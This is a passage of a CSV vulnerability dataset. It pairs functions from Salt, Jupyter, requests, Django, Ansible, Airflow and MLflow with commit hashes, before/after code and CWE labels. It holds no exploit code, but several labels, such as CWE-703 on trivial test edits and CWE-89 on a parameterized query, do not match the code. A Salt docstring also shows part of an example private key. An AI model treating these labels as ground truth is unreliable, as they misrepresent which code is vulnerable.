                               + ':' + key + ' already set'
                return ret
            elif __opts__['test']:
                ret['result'] = None
                ret['comment'] = 'Query would execute, storing result in '\
                               + 'grain: ' + grain + ':' + key
                return ret
        else:
            ret['result'] = False
            ret['comment'] = ""Error: output type 'grain' needs the grain ""\
                           + ""parameter\n""
            return ret
    elif output is not None:
        if not overwrite and os.path.isfile(output):
            ret['comment'] = 'No execution needed. File ' + output\
                           + ' already set'
            return ret
        elif __opts__['test']:
            ret['result'] = None
            ret['comment'] = 'Query would execute, storing result in '\
                           + 'file: ' + output
            return ret
    elif __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Query would execute, not storing result'
        return ret

    # The database is present, execute the query
    query_result = __salt__['mysql.file_query'](database, query_file, **connection_args)

    if query_result is False:
        ret['result'] = False
        return ret

    mapped_results = []
    if 'results' in query_result:
        for res in query_result['results']:
            mapped_line = {}
            for idx, col in enumerate(query_result['columns']):
                mapped_line[col] = res[idx]
            mapped_results.append(mapped_line)
        query_result['results'] = mapped_results

    ret['comment'] = str(query_result)

    if output == 'grain':
        if grain is not None and key is None:
            __salt__['grains.setval'](grain, query_result)
            ret['changes']['query'] = ""Executed. Output into grain: ""\
                                        + grain
        elif grain is not None:
            if grain in __salt__['grains.ls']():
                grain_value = __salt__['grains.get'](grain)
            else:
                grain_value = {}
            grain_value[key] = query_result
            __salt__['grains.setval'](grain, grain_value)
            ret['changes']['query'] = ""Executed. Output into grain: ""\
                                    + grain + "":"" + key
    elif output is not None:
        ret['changes']['query'] = ""Executed. Output into "" + output
        with salt.utils.fopen(output, 'w') as output_file:
            if 'results' in query_result:
                for res in query_result['results']:
                    for col, val in six.iteritems(res):
                        output_file.write(col + ':' + val + '\n')
            else:
                output_file.write(str(query_result))
    else:
        ret['changes']['query'] = ""Executed""

    return ret",,saltstack/salt,e47e5503e3726353ef8d8afd95793079f3331d44,"def run_file(name,
        database,
        query_file=None,
        output=None,
        grain=None,
        key=None,
        overwrite=True,
        **connection_args):
    '''
    Execute an arbitrary query on the specified database

    name
        Used only as an ID

    database
        The name of the database to execute the query_file on

    query_file
        The file of mysql commands to run

    output
        grain: output in a grain
        other: the file to store results
        None:  output to the result comment (default)

    grain:
        grain to store the output (need output=grain)

    key:
        the specified grain will be treated as a dictionary, the result
        of this state will be stored under the specified key.

    overwrite:
        The file or grain will be overwritten if it already exists (default)

    .. versionadded:: Nitrogen
    '''
    ret = {'name': name,
           'changes': {},
           'result': True,
           'comment': 'Database {0} is already present'.format(database)}

    if not os.path.exists(query_file):
        ret['comment'] = 'File {0} does not exist'.format(query_file)
        ret['result'] = False
        return ret

    # check if database exists
    if not __salt__['mysql.db_exists'](database, **connection_args):
        err = _get_mysql_error()
        if err is not None:
            ret['comment'] = err
            ret['result'] = False
            return ret

        ret['result'] = None
        ret['comment'] = ('Database {0} is not present'
                ).format(database)
        return ret

    # Check if execution needed
    if output == 'grain':
        if grain is not None and key is None:
            if not overwrite and grain in __salt__['grains.ls']():
                ret['comment'] = 'No execution needed. Grain ' + grain\
                               + ' already set'
                return ret
            elif __opts__['test']:
                ret['result'] = None
                ret['comment'] = 'Query would execute, storing result in '\
                               + 'grain: ' + grain
                return ret
        elif grain is not None:
            if grain in __salt__['grains.ls']():
                grain_value = __salt__['grains.get'](grain)
            else:
                grain_value = {}
            if not overwrite and key in grain_value:
                ret['comment'] = 'No execution needed. Grain ' + grain\
                               + ':' + key + ' already set'
                return ret
            elif __opts__['test']:
                ret['result'] = None
                ret['comment'] = 'Query would execute, storing result in '\
                               + 'grain: ' + grain + ':' + key
                return ret
        else:
            ret['result'] = False
            ret['comment'] = ""Error: output type 'grain' needs the grain ""\
                           + ""parameter\n""
            return ret
    elif output is not None:
        if not overwrite and os.path.isfile(output):
            ret['comment'] = 'No execution needed. File ' + output\
                           + ' already set'
            return ret
        elif __opts__['test']:
            ret['result'] = None
            ret['comment'] = 'Query would execute, storing result in '\
                           + 'file: ' + output
            return ret
    elif __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Query would execute, not storing result'
        return ret

    # The database is present, execute the query
    query_result = __salt__['mysql.file_query'](database, query_file, **connection_args)

    if query_result is False:
        ret['result'] = False
        return ret

    mapped_results = []
    if 'results' in query_result:
        for res in query_result['results']:
            mapped_line = {}
            for idx, col in enumerate(query_result['columns']):
                mapped_line[col] = res[idx]
            mapped_results.append(mapped_line)
        query_result['results'] = mapped_results

    ret['comment'] = str(query_result)

    if output == 'grain':
        if grain is not None and key is None:
            __salt__['grains.setval'](grain, query_result)
            ret['changes']['query'] = ""Executed. Output into grain: ""\
                                        + grain
        elif grain is not None:
            if grain in __salt__['grains.ls']():
                grain_value = __salt__['grains.get'](grain)
            else:
                grain_value = {}
            grain_value[key] = query_result
            __salt__['grains.setval'](grain, grain_value)
            ret['changes']['query'] = ""Executed. Output into grain: ""\
                                    + grain + "":"" + key
    elif output is not None:
        ret['changes']['query'] = ""Executed. Output into "" + output
        with salt.utils.fopen(output, 'w') as output_file:
            if 'results' in query_result:
                for res in query_result['results']:
                    for col, val in six.iteritems(res):
                        output_file.write(col + ':' + val + '\n')
            else:
                output_file.write(str(query_result))
    else:
        ret['changes']['query'] = ""Executed""

    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/contents/filemanager.py,0,"def _copy(self, src, dest):
        """"""copy src to dest

        like shutil.copy2, but log errors in copystat
        """"""
        shutil.copyfile(src, dest)
        try:
            shutil.copystat(src, dest)
        except OSError as e:
            self.log.debug(""copystat on %s failed"", dest, exc_info=True)",,jupyter/notebook,39041a9f03c04e7b628b73bc3531e69ef07abb6f,"def _copy(self, src, dest):
        """"""copy src to dest

        like shutil.copy2, but log errors in copystat
        """"""
        shutil.copyfile(src, dest)
        try:
            shutil.copystat(src, dest)
        except OSError as e:
            self.log.debug(""copystat on %s failed"", dest, exc_info=True)"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_rewind_body_failed_seek(self):
        class BadFileObj:
            def __init__(self, data):
                self.data = data

            def tell(self):
                return 0

            def seek(self, pos, whence=0):
                raise OSError()

            def __iter__(self):
                return

        data = BadFileObj('the data')
        s = requests.Session()
        prep = requests.Request('GET', 'http://example.com', data=data).prepare()
        assert prep._body_position == 0

        with pytest.raises(UnrewindableBodyError) as e:
            requests.utils.rewind_body(prep)

        assert 'error occurred when rewinding request body' in str(e)",CWE-703,psf/requests,2aaf6ac03862d29ef8664aa8650a3c34ac4a0b2d,"def test_rewind_body_failed_seek(self):
        class BadFileObj:
            def __init__(self, data):
                self.data = data

            def tell(self):
                return 0

            def seek(self, pos, whence=0):
                raise OSError()

            def __iter__(self):
                return

        data = BadFileObj('the data')
        s = requests.Session()
        prep = requests.Request('GET', 'http://example.com', data=data).prepare()
        assert prep._body_position == 0

        with pytest.raises(UnrewindableBodyError) as e:
            requests.utils.rewind_body(prep)

        assert 'error occured when rewinding request body' in str(e)"
,UNKNOWN,UNKNOWN,tests/migrations/test_writer.py,1,"def test_serialize(self):
        """"""
        Tests various different forms of the serializer.
        This does not care about formatting, just that the parsed result is
        correct, so we always exec() the result and check that.
        """"""
        # Basic values
        self.assertSerializedEqual(1)
        self.assertSerializedEqual(None)
        self.assertSerializedEqual(b""foobar"")
        string, imports = MigrationWriter.serialize(b""foobar"")
        self.assertEqual(string, ""b'foobar'"")
        self.assertSerializedEqual(""föobár"")
        string, imports = MigrationWriter.serialize(""foobar"")
        self.assertEqual(string, ""'foobar'"")
        self.assertSerializedEqual({1: 2})
        self.assertSerializedEqual([""a"", 2, True, None])
        self.assertSerializedEqual(set([2, 3, ""eighty""]))
        self.assertSerializedEqual({""lalalala"": [""yeah"", ""no"", ""maybe""]})
        self.assertSerializedEqual(_('Hello'))
        # Builtins
        self.assertSerializedEqual([list, tuple, dict, set])
        string, imports = MigrationWriter.serialize([list, tuple, dict, set])
        self.assertEqual(string, ""[list, tuple, dict, set]"")
        self.assertEqual(imports, set())
        # Functions
        with six.assertRaisesRegex(self, ValueError, 'Cannot serialize function: lambda'):
            self.assertSerializedEqual(lambda x: 42)
        self.assertSerializedEqual(models.SET_NULL)
        string, imports = MigrationWriter.serialize(models.SET(42))
        self.assertEqual(string, 'models.SET(42)')
        self.serialize_round_trip(models.SET(42))
        # Datetime stuff
        self.assertSerializedEqual(datetime.datetime.utcnow())
        self.assertSerializedEqual(datetime.datetime.utcnow)
        self.assertSerializedEqual(datetime.datetime.today())
        self.assertSerializedEqual(datetime.datetime.today)
        self.assertSerializedEqual(datetime.date.today())
        self.assertSerializedEqual(datetime.date.today)
        self.assertSerializedEqual(datetime.datetime.now().time())
        with self.assertRaises(ValueError):
            self.assertSerializedEqual(datetime.datetime(2012, 1, 1, 1, 1, tzinfo=get_default_timezone()))
        safe_date = datetime_safe.date(2014, 3, 31)
        string, imports = MigrationWriter.serialize(safe_date)
        self.assertEqual(string, repr(datetime.date(2014, 3, 31)))
        self.assertEqual(imports, {'import datetime'})
        safe_datetime = datetime_safe.datetime(2014, 3, 31, 16, 4, 31)
        string, imports = MigrationWriter.serialize(safe_datetime)
        self.assertEqual(string, repr(datetime.datetime(2014, 3, 31, 16, 4, 31)))
        self.assertEqual(imports, {'import datetime'})
        # Django fields
        self.assertSerializedFieldEqual(models.CharField(max_length=255))
        self.assertSerializedFieldEqual(models.TextField(null=True, blank=True))
        # Setting references
        self.assertSerializedEqual(SettingsReference(settings.AUTH_USER_MODEL, ""AUTH_USER_MODEL""))
        self.assertSerializedResultEqual(
            SettingsReference(""someapp.model"", ""AUTH_USER_MODEL""),
            (
                ""settings.AUTH_USER_MODEL"",
                set([""from django.conf import settings""]),
            )
        )
        self.assertSerializedResultEqual(
            ((x, x * x) for x in range(3)),
            (
                ""((0, 0), (1, 1), (2, 4))"",
                set(),
            )
        )",CWE-94,django/django,7355885ef504cc34f447311741511018f777667f,"def test_serialize(self):
        """"""
        Tests various different forms of the serializer.
        This does not care about formatting, just that the parsed result is
        correct, so we always exec() the result and check that.
        """"""
        # Basic values
        self.assertSerializedEqual(1)
        self.assertSerializedEqual(None)
        self.assertSerializedEqual(b""foobar"")
        string, imports = MigrationWriter.serialize(b""foobar"")
        self.assertEqual(string, ""b'foobar'"")
        self.assertSerializedEqual(""föobár"")
        string, imports = MigrationWriter.serialize(""foobar"")
        self.assertEqual(string, ""'foobar'"")
        self.assertSerializedEqual({1: 2})
        self.assertSerializedEqual([""a"", 2, True, None])
        self.assertSerializedEqual(set([2, 3, ""eighty""]))
        self.assertSerializedEqual({""lalalala"": [""yeah"", ""no"", ""maybe""]})
        self.assertSerializedEqual(_('Hello'))
        # Functions
        with six.assertRaisesRegex(self, ValueError, 'Cannot serialize function: lambda'):
            self.assertSerializedEqual(lambda x: 42)
        self.assertSerializedEqual(models.SET_NULL)
        string, imports = MigrationWriter.serialize(models.SET(42))
        self.assertEqual(string, 'models.SET(42)')
        self.serialize_round_trip(models.SET(42))
        # Datetime stuff
        self.assertSerializedEqual(datetime.datetime.utcnow())
        self.assertSerializedEqual(datetime.datetime.utcnow)
        self.assertSerializedEqual(datetime.datetime.today())
        self.assertSerializedEqual(datetime.datetime.today)
        self.assertSerializedEqual(datetime.date.today())
        self.assertSerializedEqual(datetime.date.today)
        self.assertSerializedEqual(datetime.datetime.now().time())
        with self.assertRaises(ValueError):
            self.assertSerializedEqual(datetime.datetime(2012, 1, 1, 1, 1, tzinfo=get_default_timezone()))
        safe_date = datetime_safe.date(2014, 3, 31)
        string, imports = MigrationWriter.serialize(safe_date)
        self.assertEqual(string, repr(datetime.date(2014, 3, 31)))
        self.assertEqual(imports, {'import datetime'})
        safe_datetime = datetime_safe.datetime(2014, 3, 31, 16, 4, 31)
        string, imports = MigrationWriter.serialize(safe_datetime)
        self.assertEqual(string, repr(datetime.datetime(2014, 3, 31, 16, 4, 31)))
        self.assertEqual(imports, {'import datetime'})
        # Django fields
        self.assertSerializedFieldEqual(models.CharField(max_length=255))
        self.assertSerializedFieldEqual(models.TextField(null=True, blank=True))
        # Setting references
        self.assertSerializedEqual(SettingsReference(settings.AUTH_USER_MODEL, ""AUTH_USER_MODEL""))
        self.assertSerializedResultEqual(
            SettingsReference(""someapp.model"", ""AUTH_USER_MODEL""),
            (
                ""settings.AUTH_USER_MODEL"",
                set([""from django.conf import settings""]),
            )
        )
        self.assertSerializedResultEqual(
            ((x, x * x) for x in range(3)),
            (
                ""((0, 0), (1, 1), (2, 4))"",
                set(),
            )
        )"
,UNKNOWN,UNKNOWN,lib/ansible/modules/database/vertica/vertica_configuration.py,1,"def get_configuration_facts(cursor, parameter_name=''):
    facts = {}
    cursor.execute(""""""
        select c.parameter_name, c.current_value, c.default_value
        from configuration_parameters c
        where c.node_name = 'ALL'
        and (? = '' or c.parameter_name ilike ?)
    """""", parameter_name, parameter_name)
    while True:
        rows = cursor.fetchmany(100)
        if not rows:
            break
        for row in rows:
            facts[row.parameter_name.lower()] = {
                'parameter_name': row.parameter_name,
                'current_value': row.current_value,
                'default_value': row.default_value}
    return facts",CWE-89,ansible/ansible,95789f3949b01c79c729315ff375d0e759f64970,"def get_configuration_facts(cursor, parameter_name=''):
    facts = {}
    cursor.execute(""""""
        select c.parameter_name, c.current_value, c.default_value
        from configuration_parameters c
        where c.node_name = 'ALL'
        and (? = '' or c.parameter_name ilike ?)
    """""", parameter_name, parameter_name)
    while True:
        rows = cursor.fetchmany(100)
        if not rows:
            break
        for row in rows:
            facts[row.parameter_name.lower()] = {
                'parameter_name': row.parameter_name,
                'current_value': row.current_value,
                'default_value': row.default_value}
    return facts"
,UNKNOWN,UNKNOWN,tests/models/test_pool.py,1,"def test_infinite_slots(self):
        pool = Pool(pool='test_pool', slots=-1)
        dag = DAG(
            dag_id='test_infinite_slots',
            start_date=DEFAULT_DATE,
        )
        op1 = DummyOperator(task_id='dummy1', dag=dag, pool='test_pool')
        op2 = DummyOperator(task_id='dummy2', dag=dag, pool='test_pool')
        ti1 = TI(task=op1, execution_date=DEFAULT_DATE)
        ti2 = TI(task=op2, execution_date=DEFAULT_DATE)
        ti1.state = State.RUNNING
        ti2.state = State.QUEUED

        session = settings.Session
        session.add(pool)
        session.add(ti1)
        session.add(ti2)
        session.commit()
        session.close()

        assert float('inf') == pool.open_slots()  # pylint: disable=no-value-for-parameter
        assert 1 == pool.running_slots()  # pylint: disable=no-value-for-parameter
        assert 1 == pool.queued_slots()  # pylint: disable=no-value-for-parameter
        assert 2 == pool.occupied_slots()  # pylint: disable=no-value-for-parameter
        assert {
            ""default_pool"": {
                ""open"": 128,
                ""queued"": 0,
                ""total"": 128,
                ""running"": 0,
            },
            ""test_pool"": {
                ""open"": float('inf'),
                ""queued"": 1,
                ""running"": 1,
                ""total"": float('inf'),
            },
        } == pool.slots_stats()",CWE-703,apache/airflow,1ca495c3d7a34181a2c8f9e743cbef78dc63c490,"def test_infinite_slots(self):
        pool = Pool(pool='test_pool', slots=-1)
        dag = DAG(
            dag_id='test_infinite_slots',
            start_date=DEFAULT_DATE,
        )
        op1 = DummyOperator(task_id='dummy1', dag=dag, pool='test_pool')
        op2 = DummyOperator(task_id='dummy2', dag=dag, pool='test_pool')
        ti1 = TI(task=op1, execution_date=DEFAULT_DATE)
        ti2 = TI(task=op2, execution_date=DEFAULT_DATE)
        ti1.state = State.RUNNING
        ti2.state = State.QUEUED

        session = settings.Session
        session.add(pool)
        session.add(ti1)
        session.add(ti2)
        session.commit()
        session.close()

        assert float('inf') == pool.open_slots()  # pylint: disable=no-value-for-parameter
        assert 1 == pool.running_slots()  # pylint: disable=no-value-for-parameter
        assert 1 == pool.queued_slots()  # pylint: disable=no-value-for-parameter
        assert 2 == pool.occupied_slots()  # pylint: disable=no-value-for-parameter
        assert {
            ""default_pool"": {
                ""open"": 128,
                ""queued"": 0,
                ""total"": 128,
                ""running"": 0,
            },
            ""test_pool"": {
                ""open"": -1,
                ""queued"": 1,
                ""running"": 1,
                ""total"": -1,
            },
        } == pool.slots_stats()"
,UNKNOWN,UNKNOWN,tests/integration/states/test_file.py,1,"def test_keyvalue(self, name):
        '''
        file.keyvalue
        '''
        content = dedent(six.text_type('''\
            # This is the sshd server system-wide configuration file.  See
            # sshd_config(5) for more information.

            # The strategy used for options in the default sshd_config shipped with
            # OpenSSH is to specify options with their default value where
            # possible, but leave them commented.  Uncommented options override the
            # default value.

            #Port 22
            #AddressFamily any
            #ListenAddress 0.0.0.0
            #ListenAddress ::

            #HostKey /etc/ssh/ssh_host_rsa_key
            #HostKey /etc/ssh/ssh_host_ecdsa_key
            #HostKey /etc/ssh/ssh_host_ed25519_key

            # Ciphers and keying
            #RekeyLimit default none

            # Logging
            #SyslogFacility AUTH
            #LogLevel INFO

            # Authentication:

            #LoginGraceTime 2m
            #PermitRootLogin prohibit-password
            #StrictModes yes
            #MaxAuthTries 6
            #MaxSessions 10
            '''))

        with salt.utils.files.fopen(name, 'w+') as fp_:
            fp_.write(content)

        ret = self.run_state('file.keyvalue',
                name=name, key='permitrootlogin', value='no', separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#PermitRootLogin', file_contents)
            self.assertNotIn('prohibit-password', file_contents)
            self.assertIn(""PermitRootLogin no"", file_contents)

        self.assertSaltTrueReturn(ret)

        ret = self.run_state('file.keyvalue',
                name=name, key_values={'logingracetime': '1m'}, separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#LoginGraceTime 2m', file_contents)
            self.assertIn(""LoginGraceTime 1m"", file_contents)

        self.assertSaltTrueReturn(ret)",CWE-605,saltstack/salt,1dbbe0d5a0d1fb6b02555d82d6fd4f9d1425b7c7,"def test_keyvalue(self, name):
        '''
        file.keyvalue
        '''
        content = dedent(six.text_type('''\
            # This is the sshd server system-wide configuration file.  See
            # sshd_config(5) for more information.

            # The strategy used for options in the default sshd_config shipped with
            # OpenSSH is to specify options with their default value where
            # possible, but leave them commented.  Uncommented options override the
            # default value.

            #Port 22
            #AddressFamily any
            #ListenAddress 0.0.0.0
            #ListenAddress ::

            #HostKey /etc/ssh/ssh_host_rsa_key
            #HostKey /etc/ssh/ssh_host_ecdsa_key
            #HostKey /etc/ssh/ssh_host_ed25519_key

            # Ciphers and keying
            #RekeyLimit default none

            # Logging
            #SyslogFacility AUTH
            #LogLevel INFO

            # Authentication:

            #LoginGraceTime 2m
            #PermitRootLogin prohibit-password
            #StrictModes yes
            #MaxAuthTries 6
            #MaxSessions 10
            '''))

        with salt.utils.files.fopen(name, 'w+') as fp_:
            fp_.write(content)

        ret = self.run_state('file.keyvalue',
                name=name, key='permitrootlogin', value='no', separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#PermitRootLogin', file_contents)
            self.assertNotIn('prohibit-password', file_contents)
            self.assertIn(""PermitRootLogin no"", file_contents)

        self.assertSaltTrueReturn(ret)

        ret = self.run_state('file.keyvalue',
                name=name, key_values={'logingracetime':'1m'}, separator="" "", uncomment="" #"", key_ignore_case=True)

        with salt.utils.files.fopen(name, 'r') as fp_:
            file_contents = fp_.read()
            self.assertNotIn('#LoginGraceTime 2m', file_contents)
            self.assertIn(""LoginGraceTime 1m"", file_contents)

        self.assertSaltTrueReturn(ret)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/kernelspecs/handlers.py,0,"def get(self, kernel_name, path, include_body=True):
        ksm = self.kernel_spec_manager
        try:
            self.root = ksm.get_kernel_spec(kernel_name).resource_dir
        except KeyError as e:
            raise web.HTTPError(404,
                                f'Kernel spec {kernel_name} not found') from e
        self.log.debug(""Serving kernel resource from: %s"", self.root)
        return web.StaticFileHandler.get(self, path, include_body=include_body)",,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def get(self, kernel_name, path, include_body=True):
        ksm = self.kernel_spec_manager
        try:
            self.root = ksm.get_kernel_spec(kernel_name).resource_dir
        except KeyError as e:
            raise web.HTTPError(404,
                                u'Kernel spec %s not found' % kernel_name) from e
        self.log.debug(""Serving kernel resource from: %s"", self.root)
        return web.StaticFileHandler.get(self, path, include_body=include_body)"
,UNKNOWN,UNKNOWN,tests/auth/managers/simple/test_simple_auth_manager.py,1,"def test_get_user_return_none_when_not_logged_in(self, mock_is_logged_in, auth_manager):
        mock_is_logged_in.return_value = False
        result = auth_manager.get_user()

        assert result is None",CWE-703,apache/airflow,d5bd1344b626b0a407e651380c061c363e9cab5a,"def test_get_user_return_none_when_not_logged_in(self, mock_is_logged_in, auth_manager):
        mock_is_logged_in.return_value = False
        result = auth_manager.get_user()

        assert result is None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/amazon/tests/unit/amazon/aws/hooks/test_batch_waiters.py,0,"def aws_region():
    return AWS_REGION",CWE-Unknown,apache/airflow,7f21c256c6394189072b2c7266ac6699b4e31081,"def aws_region():
    return AWS_REGION"
,UNKNOWN,UNKNOWN,tests/providers/microsoft/azure/hooks/test_adx.py,1,"def test_conn_missing_method(self):
        db.merge_conn(
            Connection(
                conn_id=ADX_TEST_CONN_ID,
                conn_type=""azure_data_explorer"",
                login=""client_id"",
                password=""client secret"",
                host=""https://help.kusto.windows.net"",
                extra=json.dumps({}),
            )
        )
        with pytest.raises(AirflowException) as ctx:
            AzureDataExplorerHook(azure_data_explorer_conn_id=ADX_TEST_CONN_ID)
            assert ""is missing: `data_explorer__auth_method`"" in str(ctx.value)","CWE-259, CWE-703",apache/airflow,8da1ff573bf598225f79899636efa0f9c55c4881,"def test_conn_missing_method(self):
        db.merge_conn(
            Connection(
                conn_id=ADX_TEST_CONN_ID,
                conn_type=""azure_data_explorer"",
                login=""client_id"",
                password=""client secret"",
                host=""https://help.kusto.windows.net"",
                extra=json.dumps({}),
            )
        )
        with pytest.raises(AirflowException) as ctx:
            AzureDataExplorerHook(azure_data_explorer_conn_id=ADX_TEST_CONN_ID)
            assert ""is missing: `extra__azure_data_explorer__auth_method`"" in str(ctx.value)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/meraki/meraki_config_template.py,0,"def get_template_id(meraki, name, data):
    for template in data:
        if name == template['name']:
            return template['id']
    meraki.fail_json(msg='No configuration template named {0} found'.format(name))",,ansible/ansible,5008e1d479896e3be3d94a306ee1b72bd624d0a6,"def get_template_id(meraki, name, data):
    for template in data:
        if name == template['name']:
            return template['id']
    meraki.fail_json(msg='No configuration template named {0} found'.format(name))"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_azure_blob_artifact_repo.py,1,"def test_list_artifacts_single_file(mock_client):
    repo = AzureBlobArtifactRepository(TEST_URI, mock_client)

    # Evaluate single file
    blob_props = BlobProperties()
    blob_props.name = posixpath.join(TEST_ROOT_PATH, ""file"")
    mock_client.get_container_client().walk_blobs.return_value = MockBlobList([blob_props])
    assert repo.list_artifacts(""file"") == []",CWE-703,mlflow/mlflow,c2ccc356aea0931f422ec0cbd49eb8ebb0d095e4,"def test_list_artifacts_single_file(mock_client):
    repo = AzureBlobArtifactRepository(TEST_URI, mock_client)

    # Evaluate single file
    blob_props = BlobProperties()
    blob_props.name = posixpath.join(TEST_ROOT_PATH, ""file"")
    mock_client.get_container_client().walk_blobs.return_value = MockBlobList([blob_props])
    assert repo.list_artifacts(""file"") == []"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/file.py,0,"def managed(name,
            source=None,
            source_hash='',
            user=None,
            group=None,
            mode=None,
            template=None,
            makedirs=False,
            dir_mode=None,
            context=None,
            replace=True,
            defaults=None,
            env=None,
            backup='',
            show_diff=True,
            create=True,
            contents=None,
            contents_pillar=None,
            contents_grains=None,
            contents_newline=True,
            contents_delimiter=':',
            allow_empty=True,
            follow_symlinks=True,
            check_cmd=None,
            **kwargs):
    '''
    Manage a given file, this function allows for a file to be downloaded from
    the salt master and potentially run through a templating system.

    name
        The location of the file to manage

    source
        The source file to download to the minion, this source file can be
        hosted on either the salt master server, or on an HTTP or FTP server.
        Both HTTPS and HTTP are supported as well as downloading directly
        from Amazon S3 compatible URLs with both pre-configured and automatic
        IAM credentials. (see s3.get state documentation)
        File retrieval from Openstack Swift object storage is supported via
        swift://container/object_path URLs, see swift.get documentation.
        For files hosted on the salt file server, if the file is located on
        the master in the directory named spam, and is called eggs, the source
        string is salt://spam/eggs. If source is left blank or None
        (use ~ in YAML), the file will be created as an empty file and
        the content will not be managed. This is also the case when a file
        already exists and the source is undefined; the contents of the file
        will not be changed or managed.

        If the file is hosted on a HTTP or FTP server then the source_hash
        argument is also required

        A list of sources can also be passed in to provide a default source and
        a set of fallbacks. The first source in the list that is found to exist
        will be used and subsequent entries in the list will be ignored. Source
        list functionality only supports local files and remote files hosted on
        the salt master server or retrievable via HTTP, HTTPS, or FTP.

        .. code-block:: yaml

            file_override_example:
              file.managed:
                - source:
                  - salt://file_that_does_not_exist
                  - salt://file_that_exists

    source_hash
        This can be one of the following:
            1. a source hash string
            2. the URI of a file that contains source hash strings

        The function accepts the first encountered long unbroken alphanumeric
        string of correct length as a valid hash, in order from most secure to
        least secure:

        .. code-block:: text

            Type    Length
            ======  ======
            sha512     128
            sha384      96
            sha256      64
            sha224      56
            sha1        40
            md5         32

        **Using a Source Hash File**
            The file can contain several checksums for several files. Each line
            must contain both the file name and the hash.  If no file name is
            matched, the first hash encountered will be used, otherwise the most
            secure hash with the correct source file name will be used.

            When using a source hash file the source_hash argument needs to be a
            url, the standard download urls are supported, ftp, http, salt etc:

            Example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.hash

            The following is an example of the supported source_hash format:

            .. code-block:: text

                /etc/rc.conf ef6e82e4006dee563d98ada2a2a80a27
                sha254c8525aee419eb649f0233be91c151178b30f0dff8ebbdcc8de71b1d5c8bcc06a  /etc/resolv.conf
                ead48423703509d37c4a90e6a0d53e143b6fc268

            Debian file type ``*.dsc`` files are also supported.

        **Inserting the Source Hash in the sls Data**
            Examples:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: md5=79eef25f9b0b2c642c62b7f737d4f53f


        Known issues:
            If the remote server URL has the hash file as an apparent
            sub-directory of the source file, the module will discover that it
            has already cached a directory where a file should be cached. For
            example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz/+md5


    user
        The user to own the file, this defaults to the user salt is running as
        on the minion

    group
        The group ownership set for the file, this defaults to the group salt
        is running as on the minion On Windows, this is ignored

    mode
        The permissions to set on this file, aka 644, 0775, 4664. Not supported
        on Windows

    template
        If this setting is applied then the named templating engine will be
        used to render the downloaded file, currently jinja, mako, and wempy
        are supported

    makedirs : False
        If set to ``True``, then the parent directories will be created to
        facilitate the creation of the named file. If ``False``, and the parent
        directory of the destination file doesn't exist, the state will fail.

    dir_mode
        If directories are to be created, passing this option specifies the
        permissions for those directories. If this is not set, directories
        will be assigned permissions from the 'mode' argument.

    replace : True
        If set to ``False`` and the file already exists, the file will not be
        modified even if changes would otherwise be made. Permissions and
        ownership will still be enforced, however.

    context
        Overrides default context variables passed to the template.

    defaults
        Default context passed to the template.

    backup
        Overrides the default backup mode for this specific file.

    show_diff : True
        If set to ``False``, the diff will not be shown in the return data if
        changes are made.

    create : True
        If set to ``False``, then the file will only be managed if the file
        already exists on the system.

    contents
        Specify the contents of the file. Cannot be used in combination with
        ``source``. Ignores hashes and does not use a templating engine.

        This value can be either a single string, a multiline YAML string or a
        list of strings.  If a list of strings, then the strings will be joined
        together with newlines in the resulting file. For example, the below
        two example states would result in identical file contents:

        .. code-block:: yaml

            /path/to/file1:
              file.managed:
                - contents:
                  - This is line 1
                  - This is line 2

            /path/to/file2:
              file.managed:
                - contents: |
                    This is line 1
                    This is line 2


    contents_pillar
        .. versionadded:: 0.17.0

        Operates like ``contents``, but draws from a value stored in pillar,
        using the pillar path syntax used in :mod:`pillar.get
        <salt.modules.pillar.get>`. This is useful when the pillar value
        contains newlines, as referencing a pillar variable using a jinja/mako
        template can result in YAML formatting issues due to the newlines
        causing indentation mismatches.

        For example, the following could be used to deploy an SSH private key:

        .. code-block:: yaml

            /home/deployer/.ssh/id_rsa:
              file.managed:
                - user: deployer
                - group: deployer
                - mode: 600
                - contents_pillar: userdata:deployer:id_rsa

        This would populate ``/home/deployer/.ssh/id_rsa`` with the contents of
        ``pillar['userdata']['deployer']['id_rsa']``. An example of this pillar
        setup would be like so:

        .. code-block:: yaml

            userdata:
              deployer:
                id_rsa: |
                    -----BEGIN RSA PRIVATE KEY-----
                    MIIEowIBAAKCAQEAoQiwO3JhBquPAalQF9qP1lLZNXVjYMIswrMe2HcWUVBgh+vY
                    U7sCwx/dH6+VvNwmCoqmNnP+8gTPKGl1vgAObJAnMT623dMXjVKwnEagZPRJIxDy
